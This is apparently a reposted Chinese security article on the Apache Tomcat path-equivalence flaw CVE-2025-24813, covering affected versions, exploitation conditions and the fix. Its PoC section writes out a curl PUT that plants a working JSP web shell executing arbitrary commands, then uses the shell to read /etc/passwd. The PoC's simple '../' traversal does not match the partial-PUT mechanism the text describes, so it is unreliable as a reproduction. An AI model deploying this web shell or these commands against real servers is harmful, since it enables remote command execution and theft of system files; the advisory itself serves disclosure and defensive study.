描述
路径等价:'file.Name'(内部点)导致远程代码执行和/或信息泄露和/或通过 Apache Tomcat 中启用写入的默认 Servlet 添加到上传的文件中。
此问题影响 Apache Tomcat:从 11.0.0-M1 到 11.0.2,从 10.1.0-M1 到 10.1.34,从 9.0.0.M1 到 9.0.98。
如果以下所有情况都为真,则恶意用户能够查看安全敏感文件和/或将内容注入这些文件:
- 为默认 servlet 启用写入(默认情况下禁用)
-
支持部分 PUT(默认启用)
-
安全敏感上传的目标 URL 是公共上传的目标 URL 的子目录
- 攻击者知道正在上传的安全敏感文件的名称
- 安全敏感文件也是通过部分 PUT 上传的
如果以下所有情况均属实,则恶意用户能够执行远程代码执行:
-
为默认 servlet 启用写入(默认情况下禁用)
- 支持部分 PUT(默认情况下启用)
- 应用程序使用 Tomcat 的基于文件的会话持久性和默认存储位置
- 应用程序包含一个可能在反序列化攻击中被利用的库
建议用户升级到版本 11.0.3、10.1.35 或 9.0.99,以修复该问题。
ID: CVE-2025-24813
严重程度:严重
参考链接: https://github.com/advisories/GHSA-83qj-6fr2-vhqg
PoC步骤:
curl1.使用PUT方法发送请求:
curl -X PUT "http://target.com/uploads/../webapps/ROOT/updates.jsp"
-H "Content-Type: application/x-jsp"
--data-raw '<%@ page import="java.io.*" %>
<html><body>
<form method="GET"><input type="text" name="cmd"><input type="submit" value="Run"></form>
<% if(request.getParameter("cmd") != null) {
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
String l; while((l=r.readLine())!=null){ out.println(l+"<br>"); } } %>
</body></html>' -i
2.直接访问上传的文件:
curl"http://target.com/updates.jsp?cmd=cat/etc/passwd" -i
原文始发于微信公众号(Ots安全):CVE-2025-24813 - Apache Tomcat 路径等效漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论